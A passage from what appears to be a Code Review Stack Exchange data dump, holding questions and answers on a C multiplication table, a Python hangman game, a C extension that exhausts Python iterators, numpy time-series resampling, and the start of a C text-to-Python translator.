return pointSize;\n}\n\nvoid error(short nbUser)\n{\n if (nbUser < 0 || nbUser > 50)\n {\n printf(\"Error : you must enter a number between 0 and 50\");\n exit(EXIT_FAILURE);\n }\n}\n\nvoid multTable(short tableSize)\n{\n......\n}\n\n</code></pre>\n\n<hr>\n\n<p>Notice how related <code>question()</code> and <code>error()</code>; you use <code>error()</code> only to evaluate the output of <code>question()</code>, and <code>question()</code>'s output cannot be trusted without invoking <code>error()</code>. Instead of making <code>question()</code> possibly return a bad value, you should make it encapsulate the error detection itself:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>short question(void)\n{\n short pointSize;\n printf(\"How long this table should be ? (0 - 50) \");\n scanf(\"%hd\", &pointSize);\n printf(\"\\n\");\n if (pointSize < 0 || pointSize > 50)\n {\n printf(\"Error : you must enter a number between 0 and 50\");\n exit(EXIT_FAILURE);\n }\n return pointSize;\n}\n</code></pre>\n\n<p>Also, notice that you have two places that have <code>printf</code>s: both <code>main</code> and <code>multTable</code>. It's good practice to keep each function doing a single understandable thing. <code>main</code> is doing too much in also printing the table header; especially since that table header needs to be changed if you ever change <code>multTable</code>'s output format. So, you should move printing the table header into <code>multTable</code>.</p>\n\n<p>In <code>multTable</code>, look carefully at how you're using the <code>line</code> variable. You're only using it to write to <code>line[i]</code>, and then immediately read back <code>line[i]</code> -- you're not using it as an array at all! It can simply be replaced with a local <code>short</code> variable.</p>\n\n<p>The resulting <code>multTable</code> will look something like this:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>void multTable(short tableSize)\n{\n /* header */\n printf(\" |\");\n for (short i = 1; i <= tableSize; i++)\n {\n printf(\" %3u |\", i);\n }\n printf(\"\\n\");\n\n for (short i = 1; i <= (tableSize + 1); i++)\n {\n printf(\"========\");\n }\n printf(\"\\n\");\n /* end header */\n\n for (short j = 1; j <= tableSize; j++)\n {\n printf(\" %3u I\", j);\n for (short i = 1; i <= tableSize; i++)\n {\n short product = i * j;\n printf(\" %3hd |\", product);\n }\n printf(\"\\n\");\n for (short i = 1; i <= (tableSize + 1); i++)\n {\n printf(\"-------+\");\n }\n printf(\"\\n\");\n }\n}\n</code></pre>\n\n<h1>General comments</h1>\n\n<p>First, you should put more care into how you name things.</p>\n\n<p>You should generally avoid abbreviations (unless they are extremely standardized abbreviations). You read all the time, <code>& u dnt gnly rd txtlkths</code>, <code>you read text that looks like this</code>. Don't say <code>nb</code>, say <code>number</code>. Don't say <code>mult</code>, say <code>multiplication</code>.</p>\n\n<p>Functions should generally be named like <em>commands</em> to <em>do</em> something. For example, <code>printMultiplicationTable()</code>. This lets you read code as a sequence of commands, each one saying what it does. Look at how clear and simple the following looks:</p>\n\n<pre><code>int main(void) {\n short tableSize = getTableSize();\n printMultiplicationTable(tableSize);\n return 0;\n}\n\n</code></pre>\n\n<p>Comments should not state things that are obvious. A comment of <code>// the table</code> adds absolutely nothing to a line that consists of <code>multTable();</code>. Also, you generally don't need <code>/* end .. */</code> comments. Your text editor or IDE can let you quickly jump to the beginning and end of functions, and \"collapse\" them. Keeping track of these manually in the code adds very little value but quickly adds a lot of clutter.</p>\n\n<p>You also hardly need to use <code>short</code>s. They are often dangerously small (real world numbers very quickly get larger than 16,000), and are no longer faster to operate on in modern computers. If you have a very large array of small numbers, then it might be time to use a <code>short</code> instead of an <code>int</code> (though an explicitly sized type, like <code>int16_t</code>, would be even better!)</p>\n\n<p>Your multiplication table accepts input up to <code>50</code>, but it won't actually work properly for inputs that large. That's because the largest numbers in the resulting table are more than 3 digits wide. Your code should use 4 columns, or you should dynamically adjust the number of columns depending on what's needed for the user's input.</p>\n\n<p>Also, it bears repeating, make sure you compile with compiler warnings on, and address all of the warnings. C is not easy to get right, and C compilers generally give very helpful warnings that catch lots of mistakes that both beginners and veterans make. You should probably use both <code>-Wall</code> and <code>-Wextra</code> if you're using <code>clang</code> or <code>gcc</code> to get all of the warnings turned on.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T18:15:51.390",
"Id": "431224",
"Score": "0",
"body": "I really appreciate you took some time to make a clear answer. I compile directly in Visual Code and sometimes GCC in a terminal. They both use GCC but don’t always react the same way. I didn’t know about -Wextra, thanks. I used short ints because I will use C mainly to program an Arduino so I try to optimize as much as I can, but it seems I did it the wrong way."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T03:27:29.877",
"Id": "222680",
"ParentId": "222664",
"Score": "12"
}
}
] | {
"AcceptedAnswerId": "222680",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T22:08:33.127",
"Id": "222664",
"Score": "5",
"Tags": [
"performance",
"beginner",
"c",
"formatting",
"ascii-art"
],
"Title": "Printing a multiplication table in C"
} | 222664 |
<p>I am fairly new to coding and decided to test my skills and make a program from scratch on my own. I chose to make a Hangman game, it's pretty straight forward. The code reads a file consisting of ~40,000+ words to choose from when generating a word for the user. The user inputs the number of attempts and the minimum length of a word they would prefer. As the player guesses, the word is displayed with only the correct guesses displayed to the user. The incorrect guesses are shown to the user as they are entered. Fairly simple, yet I feel like my code is confusing so I was just curious if anyone had any tips on what I could fix/improve to make my code more readable and run more efficiently. Any feedback is appreciated. </p>
<pre><code>import random
word_file = 'popular.txt'
word_list = open(word_file).read().splitlines()
def get_attempts():
"""
returns # attempts user wants
"""
while True:
try:
attempts = int(input("How many incorrect attempts do you want? [1-25] "))
except:
print('There was a error. Enter an interger between 1 and 25!\n')
continue
else:
return attempts
def get_min_len():
"""
returns minimum word length
"""
while True:
try:
min_len = int(input("What minimum word length do you want[4-16] "))
except:
print('There was a error. Enter an integer between 4 and 16!\n')
continue
else:
if min_len < 4 or min_len > 16:
print("Enter a integer between 4 and 16!\n")
continue
else:
return min_len
def pick_word(minlen):
# pick random word from word list
random_word = random.choice(word_list)
while len(random_word) < minlen:
random_word = random.choice(word_list)
return random_word
def fill_word(main_word, covered_word, user_guess):
"""
fills in hidden word as user guesses correctly
"""
covered_word_list = list(covered_word)
for idx in range(0, len(main_word)):
if main_word[idx] == user_guess:
covered_word_list[idx] = user_guess
covered_word = ''.join(covered_word_list)
return covered_word
def display_info(covered_word, atmps, incorrect):
print("Word: {}".format(covered_word))
print("Attempts Remaining: {}".format(atmps))
print("Previous Guesses: {}".format(incorrect))
def get_guess():
"""
error/exception handling for user input
"""
while True:
try:
user_guess = str(input('Choose a letter: '))
except:
print("There was a Error. Enter a letter!\n")
continue
else:
if not user_guess.isalpha():
print("Guess MUST BE a STRING!\n")
continue
elif len(user_guess) != 1:
print("Enter ONLY ONE letter!\n")
continue
else:
return user_guess
def check_guess(main_word, user_guess):
if guess in main_word:
print("{} is in the word!\n".format(user_guess))
else:
print("{} is not in the word!\n".format(user_guess))
def start_game():
while True:
try:
start = input("Are you ready to play? Enter 'Yes' or 'No': ")
except:
print("There was an error. Try again.\n")
continue
else:
if start.isspace():
print("Enter either 'Yes' or 'No'!")
continue
if start[0].lower() == 'y':
play = True
return play
elif start[0].lower() == 'n':
play = False
return play
else:
print("There was an error, try again.\n")
continue
def replay():
while True:
try:
replay = input("Do you want to play again. Enter 'Yes' or 'No': ")
except:
print("There was an error. Try again.\n")
continue
else:
if replay[0].lower() == 'y':
play = True
return play
elif replay[0].lower() == 'n':
play = False
return play
else:
print("There was an error, try again.\n")
continue
</code></pre>
<blockquote>
<h1>GAMEPLAY</h1>
</blockquote>
<pre><code>play = start_game() # ask user if they are ready return bool
while play:
attempts = get_attempts() # get # of attempts user wants
min_len = get_min_len() # get min len of word
print("Selecting a word...\n")
word = pick_word(min_len) # choose word <= min_len
final_word = word # store word has another variable
hidden_word = '*' * len(word) # create str of '*' == len(word)
guess_list_w = [] # list of incorrect guesses
guess_list_c = [] # list of correct guesses
while word != hidden_word:
display_info(hidden_word, attempts, guess_list_w) # display information for user
guess = get_guess() # get a guess from user
if guess in word:
if guess not in guess_list_w and guess not in guess_list_c:
print("{} is in the word!\n".format(guess)) # if correct guess
hidden_word = fill_word(final_word, hidden_word, guess)
guess_list_c.append(guess)
continue
elif guess in guess_list_c: # if guess is in word but already guessed try again
print("{} has been guessed already! Try Again!\n".format(guess))
continue
elif guess in guess_list_w: # if guess is not in word but already guessed
print("{} has been guessed already! Try Again!\n".format(guess))
continue
else: # if guess hasnt been guessed and is not in the word
print("{} is not in the word!\n".format(guess)) # if incorrect guess
guess_list_w.append(guess)
if attempts == 1: # check num of attempts left; if 0 break
break
else:
attempts -= 1
# Winning Scenario
if hidden_word == word:
print("You Win! You guesses the correct letters!")
print("The word was {}\n\n".format(final_word))
else:
# Losing Scenario
print("You Lose! You're out of attempts!")
print("The word was {}\n\n".format(final_word))
play = replay() # ask player to play again
</code></pre>
| [] | [
{
"body": "<h2>Getting Input</h2>\n\n<pre><code>def get_attempts():\n \"\"\"\n returns # attempts user wants\n \"\"\"\n while True:\n try:\n attempts = int(input(\"How many incorrect attempts do you want? [1-25] \"))\n except:\n print('There was a error. Enter an interger between 1 and 25!\\n')\n continue\n else:\n return attempts\n</code></pre>\n\n<p>You've got some unnecessary statements here. If you did not execute <code>continue</code> in the <code>except</code> clause, what would happen? The control wouldn't go into the <code>else:</code> clause, so it would reach the end of the <code>while True:</code> body, and loop around to the top ... just like executing in the case of executing the <code>continue</code>. So you can remove that statement.</p>\n\n<p>Why the <code>else:</code> clause? It is executed when execution of the <code>try:</code> block doesn't go into the <code>except:</code> clause. So, if the statements from the <code>else:</code> clause are moved into the try block, the execution would be similar. The only difference is that an exception raised during the <code>else:</code> clause won't go into the <code>except:</code>, but what exception is likely to be raised by <code>return attempts</code>? None. So why complicate the <code>try: ... except:</code> with an <code>else:</code>? Move <code>return attempts</code> into the body of the <code>try:</code>.</p>\n\n<p>What exceptions are likely to be raised in the <code>try:</code> block, anyway? A <code>ValueError</code>, when the input can't be parsed as a integer. What else? Maybe <code>EOFError</code> if the user tries to run the program with a test case redirected from standard input? You'd catch the <code>EOFError</code>, print a message, loop back and try for more input, and get another <code>EOFError</code>. Endless loop. Yuck. But it gets worse. The user, upon seeing thousands of repeated lines will press <code>Ctrl-C</code> to stop the program, which raises (wait for it) a <code>KeyboardInterrupt</code> exception, which will get caught, a message will be printed, and then execution will loop around and ask for more input. You can't break out of the program. <strong>Don't catch all exceptions</strong>; catch only the ones you actually expect.</p>\n\n<p>If the user types in <code>26</code>, which is not in the range of <code>1-25</code>, the program ... happily accepts the input. You aren't testing the value.</p>\n\n<p>Reworked code (version 1):</p>\n\n<pre><code>def get_attempts():\n \"\"\"\n return # of attempts user wants\n \"\"\"\n while True:\n try:\n attempts = int(input(\"How many incorrect attempts do you want? [1-25] \"))\n if 1 <= attempts <= 25:\n return attempts\n except ValueError:\n print('There was an error. ', end='')\n\n print('Enter an integer between 1 and 25!\\n')\n</code></pre>\n\n<p>The next function <code>get_min_len()</code> looks eerily familiar. You could make exactly the same changes described above. Which sounds like WET code, where WET stands for Write Everything Twice. The opposite of WET is DRY: Don't Repeat Yourself. So let's dry up this pair of functions.</p>\n\n<pre><code>def input_int(prompt, minimum, maximum):\n \"\"\"Ask user for an integer within a restricted range\"\"\"\n\n prompt += f\" [{minimum}-{maximum}] \"\n\n while True:\n try:\n value = int(input(prompt))\n if minimum <= value <= maximum:\n return value\n except ValueError:\n print('There was an error. ', end='')\n\n print(f'The value must be an integer between {minimum} and {maximum}\\n')\n\ndef get_attempts():\n return input_int(\"How many incorrect attempts do you want?\", 1, 25)\n\ndef get_min_len():\n return input_int(\"What minimum word length do you want?\", 4, 16)\n</code></pre>\n\n<h2>Random Word</h2>\n\n<p>Continuing the WET -vs- DRY theme:</p>\n\n<pre><code>def pick_word(minlen):\n # pick random word from word list\n\n random_word = random.choice(word_list)\n\n while len(random_word) < minlen:\n random_word = random.choice(word_list)\n\n return random_word\n</code></pre>\n\n<p>You have two identical statements: <code>random_word = random.choice(word_list)</code>. You need the first, because you want to test <code>len(random_word) < minlen</code> in the <code>while</code> loop condition, so you need to have defined <code>random_word</code>. But do you need to actually select a random word to do it? Or could any sufficiently short value cause the loop to be entered and executed?</p>\n\n<pre><code> random_word = \"\"\n\n while len(random_word) < minlen:\n random_word = random.choice(word_list)\n</code></pre>\n\n<p>How many times do you expect to loop until you choose a word of sufficient length? 2, maybe 3 times if you are unlucky? What if the user has requested long words, where minimum length is 16? There might only be a fraction of a percent of words that long in the list of 40,000 words. It might loop many, many times before it stumbles upon \"antidisestablishmentarianism\".</p>\n\n<pre><code> long_words = [words for word in word_list if len(word) >= minlen]\n\n if len(long_words) == 0:\n raise RuntimeError(\"No words long enough in word list!\")\n\n random_word = random.choice(long_words)\n</code></pre>\n\n<p>Now we've guaranteed we can pick a word in one try, so the <code>while ...:</code> loop is unnecessary.</p>\n\n<h2>Iterating over two lists at once</h2>\n\n<p>The <code>fill_word()</code> method iterates over both <code>covered_word</code> and <code>main_word</code>, searching for letters which match <code>user_guess</code> in <code>main_word</code> and filling them into the <code>covered_word</code>.</p>\n\n<p>It does so with <code>covered_word_list</code> and <code>idx</code> as temporaries.</p>\n\n<p>Python allows iterating over 2 (or more!) iterable objects at once, using the <code>zip()</code> function. This makes implementing the function almost trivial.</p>\n\n<pre><code>def fill_word(main_word, covered_word, user_guess):\n \"\"\"\n fills in hidden word as user guesses correctly\n \"\"\"\n\n return ''.join(m if m == user_guess else c for m, c in zip(main_word, covered_word))\n</code></pre>\n\n<p>That's a pretty dense <code>return</code> statement. Let's break it down.</p>\n\n<ul>\n<li>String are iterable objects. When you iterate over a string, you get the characters one at a time.</li>\n<li><code>zip(main_word, covered_word)</code> iterates over <code>main_word</code> and <code>covered_word</code>, simultaneously, taking one character from each</li>\n<li><code>for m, c in ...</code> takes the characters from each string, and calls them <code>m</code> (for main) and <code>c</code> (for covered).</li>\n<li><code>m if m == user_guess else c</code> evaluates to either the <code>m</code> (the newly guessed character if <code>m == user_guess</code> is true) or <code>c</code> (the original character from the covered string).</li>\n<li><code>''.join(...)</code> takes each character as they are generated above, from the corresponding pairs of characters, and joins them back into one long string.</li>\n</ul>\n\n<h2>Variable names and f-strings</h2>\n\n<pre><code>def display_info(covered_word, atmps, incorrect):\n\n print(\"Word: {}\".format(covered_word))\n print(\"Attempts Remaining: {}\".format(atmps))\n print(\"Previous Guesses: {}\".format(incorrect))\n</code></pre>\n\n<p><code>covered_word</code> is fine, <code>incorrect</code> barely clears the bar, but <code>atmps</code>? What is that? Use clearer variable names. Please.</p>\n\n<p>I've used them above, but I'll call out attention to them here. Formatted strings, or <code>f-strings</code>, are a new feature in Python, which allows you to embed variable names right into strings. Instead of having many characters separating a <code>{}</code> code in a format string, and the variables being passed to the <code>.format(...)</code> call, you can directly tell what variable is being substituted where into a string. You just need to prefix the string with an <code>f</code>.</p>\n\n<pre><code>def display_info(covered_word, attempts_remaining, incorrect_guesses):\n\n print(f\"Word: {covered_word}\")\n print(f\"Attempts Remaining: {attempts_remaining}\")\n print(f\"Previous Guesses: {incorrect_guesses}\")\n</code></pre>\n\n<h2>String input</h2>\n\n<p><code>input()</code> returns a string. There is no need to wrap <code>str(...)</code> around an <code>input()</code> call. Since no conversion is being done, there won't be any exception that may arise. (<code>EOFError</code> and <code>KeyboardInterrupt</code> not withstanding, but you don't want to catch either of those and loop to try to get input again!)</p>\n\n<p>So, <code>get_guess()</code> can be simplified. Remove the <code>try: ... except:</code> entirely. Remove the unnecessary <code>continue</code> statements. My review is bordering on WET. I need to stop repeating myself. These points apply to <code>get_guess()</code>, <code>start_game()</code>, and <code>replay()</code>. You are asking \"Yes/No\" in two locations? Like the <code>input_int()</code> above, perhaps you want a <code>ask_yes_no(prompt)</code> function.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T06:05:48.937",
"Id": "222685",
"ParentId": "222669",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T23:13:54.263",
"Id": "222669",
"Score": "3",
"Tags": [
"python",
"beginner",
"hangman"
],
"Title": "Hangman program in Python"
} | 222669 |
<p>I was reading into the proper way to consume an iterator on <a href="https://stackoverflow.com/questions/36763084/how-to-efficiently-exhaust-an-iterator-in-a-oneliner">this question</a> as well as <a href="https://mail.python.org/pipermail/python-ideas/2013-September/023488.html" rel="nofollow noreferrer">here</a> and I notices there is no actual proper function for this that clearly explains itself.</p>
<p>Using:</p>
<pre><code>collections.deque(maxlen=0).extend(iterable)
</code></pre>
<p>isn't exactly very descriptive whereas making a properly named method for this that just uses the <code>deque</code> approach is good I wanted to do my own research as well as learn some c <em>(which I've rarely ever actually dealt with)</em> along the way.</p>
<p>So.. Using the approach that is used in <a href="https://github.com/python/cpython/blob/a1952122a3a20272e4db9e3c6205009a91c73ccf/Modules/_collectionsmodule.c#L368" rel="nofollow noreferrer">_collectionsmodule.c</a> I have come up with this:</p>
<pre><code>#include "Python.h"
#include <ctype.h>
static PyObject *
consume(PyObject *self, PyObject *iterable)
{
PyObject *(*iternext)(PyObject *);
PyObject *item;
if (PyObject_GetIter(iterable) == NULL)
return NULL;
iternext = *Py_TYPE(iterable)->tp_iternext;
while ((item = iternext(iterable)) != NULL)
Py_DECREF(item);
if (PyErr_Occurred()) {
if (PyErr_ExceptionMatches(PyExc_StopIteration))
PyErr_Clear();
else
return NULL;
}
Py_RETURN_NONE;
}
static PyMethodDef consumeMethods[] = {
{"consume", (PyCFunction)consume, METH_O,
"Run an iterator to exhaustion."},
{NULL, NULL, 0, NULL}
};
static struct PyModuleDef _consumemodule = {
PyModuleDef_HEAD_INIT,
"_consumemodule",
"Consume Module",
-1,
consumeMethods,
NULL,
NULL,
NULL,
NULL
};
PyMODINIT_FUNC
PyInit__consumemodule(void)
{
return PyModule_Create(&_consumemodule);
}
</code></pre>
<p>It performs marginally better than the deque approach which is expected as it's using almost the same approach although I was wondering if any of the c guru's out there could see if I'm missing anything or if something could be done better as all it's doing it exhausting the iterator. I tried using <code>METH_FASTCALL</code> but that doesn't perform as well as <code>METH_O</code> and in the <code>while</code> loop I tried using<code>while ((Py_XDECREF(iternext(iterable))) != NULL)</code> the only way I could find to eliminate the need for the variable <code>item</code> was by making a macro like this:</p>
<pre><code>static inline int _Ret_DECREF(PyObject *op)
{
if (op == NULL)
return 0;
Py_DECREF(op);
return 1;
}
#define Ret_DECREF(op) _Ret_DECREF(op)
</code></pre>
<p>Then just looping through like this:</p>
<pre><code>while (1) {
if (Ret_DECREF(iternext(iterable)))
break;
}
</code></pre>
<p>But something just feels off doing that.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T00:00:45.177",
"Id": "431113",
"Score": "0",
"body": "I'm tagging this [tag:reinventing-the-wheel] as you can just use [the itertools recipe that you were linked to](https://docs.python.org/3/library/itertools.html#itertools-recipes). Alternately you could just use [`more_itertools.consume`](https://more-itertools.readthedocs.io/en/stable/api.html#more_itertools.consume) - which uses the exact same code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T00:10:28.253",
"Id": "431114",
"Score": "0",
"body": "Understood, I’m fully aware that’s what I’m doing, although I’m looking to see if there’s any room for improvement."
}
] | [
{
"body": "<p>You’ve got an object leak.</p>\n\n<p><a href=\"https://docs.python.org/3/c-api/object.html?highlight=pyobject_getiter#c.PyObject_GetIter\" rel=\"nofollow noreferrer\"><code>PyObject_GetIter()</code></a> returns a new instance, which you aren’t calling <code>Py_DECREF()</code> on.</p>\n\n<p>If you pass in an <strong>iterable</strong> object to your function (a list, a tuple, a dictionary, etc), <code>PyObject_GetIter()</code> will return a brand new <strong>iterator</strong> over than object. You test the return value, discover it is not <code>NULL</code>, and then lose the returned value, since it was not stored in a local variable. Then, you try to retrieve <code>tp_iternext</code> from the iterable’s type, which is likely not defined, so chaos will ensue.</p>\n\n<p>If you pass in an <strong>iterator</strong> object to your function, <code>PyObject_GetIter()</code> will return it, but also increment the reference count of that object by one. At the end of your function, you don’t call <code>Py_DECREF()</code> on the returned iterator, so the reference count will remain incremented, and the iterator will never be released.</p>\n\n<pre><code>static PyObject *\nconsume(PyObject *self, PyObject *iterable)\n{\n PyObject *(*iternext)(PyObject *);\n PyObject *item;\n PyObject *iterator;\n\n iterator = PyObject_GetIter(iterable); // No references to iterable beyond this point.\n if (iterator == NULL)\n return NULL;\n\n iternext = *Py_TYPE(iterator)->tp_iternext;\n while ((item = iternext(iterator)) != NULL) \n Py_DECREF(item);\n\n Py_DECREF(iterator);\n\n if (PyErr_Occurred()) {\n if (PyErr_ExceptionMatches(PyExc_StopIteration))\n PyErr_Clear();\n else\n return NULL;\n }\n\n Py_RETURN_NONE;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T13:32:48.113",
"Id": "431196",
"Score": "0",
"body": "Thanks for the great breakdown and helpful answer although, this is exactly the same as is used in the `deque`'s `consume_iterator` and that may just be the best option but what I was thinking was to see if there is a better alternative that doesn’t need to store `item` for every iteration. I’ve tried `do { Py_DECREF(iternext(iterator)) } while (!PyErr_Occurred())` but maybe my lack of c knowledge is making me think that there’s a better option while there isn’t."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T13:58:19.203",
"Id": "431198",
"Score": "1",
"body": "@Jab If you look at `consume_iterator`, you’ll see it ends with `return finalize_iterator(it);`, and in **that** is the `Py_DECREF(it);`. I understand you were hoping for a speed improvement, not a bug fix, but there is a bug in your code and I’ve showed you how to fix it. The `consume_iterator` function doesn’t have the bug because it calls the additional helper function to clean up the iterator reference. You didn’t copy that part into your implementation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T14:02:54.313",
"Id": "431199",
"Score": "0",
"body": "I must have taken that out by mistake as I did look at those docs and saw it did make a new reference before even posting this too. Thanks for showing me"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T14:04:09.217",
"Id": "431200",
"Score": "0",
"body": "Your `do { ... } while ( )` loop doesn’t work because `iternext(iterator)` will return `NULL` which will cause `Py_DECREF(...)` to crash. You would need to use `Py_XDECREF(...)` which allows the argument to be `NULL`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T14:08:05.133",
"Id": "431201",
"Score": "0",
"body": "I meant `Py_XDECREF` I’m on my phone away from the desk. Although when I tried that I believe it was an infinite loop or it only ran the first iteration I’ll have to try again when I get back to see."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-28T16:40:09.163",
"Id": "432327",
"Score": "0",
"body": "Note: [`PyIter_Next()`](https://docs.python.org/3/c-api/iter.html?highlight=pyiter_next#c.PyIter_Next) does **NOT** set the `PyExc_StopIteration` error when the end of a iterator is reached; it merely returns `NULL`. The [tp_iternext](https://docs.python.org/3/c-api/typeobj.html?highlight=tp_iternext#c.PyTypeObject.tp_iternext) method documentation reads \"_When the iterator is exhausted, it must return `NULL`; a `StopIteration` exception **may or may not be set**._\" (emphasis mine). This may be the source of your endless loop. You must test for the `NULL` return value."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T00:27:57.400",
"Id": "222674",
"ParentId": "222670",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222674",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T23:24:07.600",
"Id": "222670",
"Score": "3",
"Tags": [
"python",
"c",
"reinventing-the-wheel",
"iterator",
"native-code"
],
"Title": "C function to fully consume a Python iterator"
} | 222670 |
<p>I'm trying to create an efficient function for re-sampling time-series data.</p>
<p><strong>Assumption:</strong> Both sets of time-series data have the same start and end time. (I do this in a separate step.)</p>
<h1>Resample function (inefficient)</h1>
<pre class="lang-py prettyprint-override"><code>import numpy as np
def resample(desired_time_sequence, data_sequence):
downsampling_indices = np.linspace(0, len(data_sequence)-1, len(desired_time_sequence)).round().astype(int)
downsampled_array = [data_sequence[ind] for ind in downsampling_indices]
return downsampled_array
</code></pre>
<h2>Speed testing</h2>
<pre class="lang-py prettyprint-override"><code>import timeit
def test_speed(): resample([1,2,3], [.5,1,1.5,2,2.5,3,3.5,4,4.5,5,5.5,6])
print(timeit.timeit(test_speed, number=100000))
# 1.5003695999998854
</code></pre>
<p>Interested to hear any suggestions.</p>
| [] | [
{
"body": "<p>The function takes around <span class=\"math-container\">\\$41\\mu s\\$</span> on average per run on my machine. About three quarters of it (around <span class=\"math-container\">\\$ 32\\mu s\\$</span>) are spent for <code>downsampling_indices = np.linspace(...)</code>. Add another <span class=\"math-container\">\\$1.5\\mu s\\$</span> for <code>round().astype(int)</code>, about <span class=\"math-container\">\\$1\\mu s\\$</span> for the actual sampling, plus some calling overhead, and you're there.</p>\n\n<p>So if you would need to use the function several times, it would be best to precompute or <a href=\"https://docs.python.org/3/library/functools.html#functools.lru_cache\" rel=\"nofollow noreferrer\">cache</a>/<a href=\"https://wiki.python.org/moin/PythonDecoratorLibrary#Memoize\" rel=\"nofollow noreferrer\">memoize</a> sampling indices. If I understood your implementation correctly, the downsampling index computation is basically data independent and only depends on the length of the two sequences, so that might be actually viable.</p>\n\n<p>For example you could have</p>\n\n<pre><code>import functools\n\n...\n\n@functools.lru_cache()\ndef compute_downsampling_indices_cached(n_samples, data_sequence_len):\n \"\"\"Compute n_samples downsampling indices for data sequences of a given length\"\"\"\n return np.linspace(0, data_sequence_len-1, n_samples).round().astype(int)\n</code></pre>\n\n<p>and then do</p>\n\n<pre><code>def resample_cache(n_samples, data_sequence):\n downsampling_indices = compute_downsampling_indices_cached(n_samples, len(data_sequence))\n return [data_sequence[ind] for ind in downsampling_indices]\n</code></pre>\n\n<p>Note that I replaced <code>desired_time_sequence</code> by <code>n_samples</code> which would then have to be set to <code>len(desired_time_sequence)</code> since you don't care about the actual values in <code>desired_time_sequence</code>.</p>\n\n<p>It might also be possible to benefit from <a href=\"https://docs.scipy.org/doc/numpy/reference/arrays.indexing.html\" rel=\"nofollow noreferrer\">NumPy's indexing</a> and use <code>return np.array(data_sequence)[downsampling_indices]</code> for larger inputs. You will have to check that yourself.</p>\n\n<p>On my machine <code>resample_cache(...)</code> takes <span class=\"math-container\">\\$1.7\\mu s\\$</span>, which is about a decent 20x speed up.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T10:02:21.390",
"Id": "222694",
"ParentId": "222681",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222694",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T03:47:20.777",
"Id": "222681",
"Score": "2",
"Tags": [
"python",
"performance",
"python-3.x",
"numpy"
],
"Title": "Efficient resampling of time series"
} | 222681 |
<p>A few days ago I started writing my own compiler-like program which has the goal to compile plain text into executable python code. After I let my first version review <a href="https://codereview.stackexchange.com/questions/222510/heavily-limited-premature-compiler-translates-text-into-excecutable-python-code">here</a>, I made huge changes to the overall code and added the possibility of adding rectangles. I try to add all the suggested improvements as best as I could, please do not feel offended, if I missed one of your suggestions. </p>
<p>My final goal is to write a program which compiles text into executable python code, which then will display a 3D-Diagram containing all geometric shapes when executed.</p>
<p>At the moment, the user has to provide a text similar to this:</p>
<pre class="lang-none prettyprint-override"><code>(1.2,45,6)
(7,8,5)
(10,77,88)
(99999,1,1)
R((1,1,1),(2,2,2),(1,3,4))
(5,7,6)
(1,2,3)
(4,5,6)
R((2,3,4),(9,9,9),(3,4,5))
P(2,1,1)
</code></pre>
<p>where R(...) symbolizes rectangles and P(...) is an acronym for a profane point. I added the formatting mistake of the last line, purposely, to show that the compiler does not care about spaces.
This plain text will be compiled to a python-code similar (depending on the exact preferences of the code) like this.</p>
<pre><code>points = [
(1.2,45,6),
(7,8,5),
(10,77,88),
(99999,1,1),
]
points.extend([
(5,7,6),
(1,2,3),
(4,5,6),
(2,1,1),
])
rectangels = [
((1,1,1),(2,2,2),(1,3,4)),
((2,3,4),(9,9,9),(3,4,5)),
]
print(points)
print(rectangels)
</code></pre>
<p>For the sake of me, you and all humankind I quickly realized that rewriting the code into a state machine is the proper way to go after suggested by <a href="https://codereview.stackexchange.com/users/39848/edward">@Edward</a>. </p>
<p>So how could I further improve the following code?</p>
<pre><code>#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <float.h>
#include <ctype.h>
#define SPACE_FOR_POINTS 4
#define SPACE_FOR_RECTANGLES 4
/*For some reason, maximum size of any double represetend as a string:
StackOverflow: What is the maximum length in chars needed to represent any double value?
*/
#define MAX_DIGITS_DOUBLE 3 + DBL_MANT_DIG - DBL_MIN_EXP
#define MAX_DIGITS_POINTS 5 + 3*MAX_DIGITS_DOUBLE
#define MAX_DIGITS_RECT 17+9*MAX_DIGITS_DOUBLE
void printPointList(char appened, char** points, int index);
void printRectangleList(char appened, char** rectangles, int index);
int main(int argc, char * argv[]) {
FILE* fp = fopen(argv[1], "r");
if(fp == NULL)return errno;
//Do parsing
char** points; //all future points will be stored here
points = malloc(SPACE_FOR_POINTS * sizeof(char*)); //for the moment, make space for SPACE_FOR_POINTS
if(points != NULL){
for(int i = 0; i < SPACE_FOR_POINTS; i++){
/*
This is a point to be stored:
(double,double,double)\0
Calloc is better, because we can later break
creating the list of points/rectangels, when first char is not '(',
which is not necessarily the case for malloc.
*/
points[i] = calloc(MAX_DIGITS_POINTS,1);
if(points[i] == NULL){
fprintf(stderr, "Could not allocate enough memory to perform compilation.");
return -1;
}
}
} else {
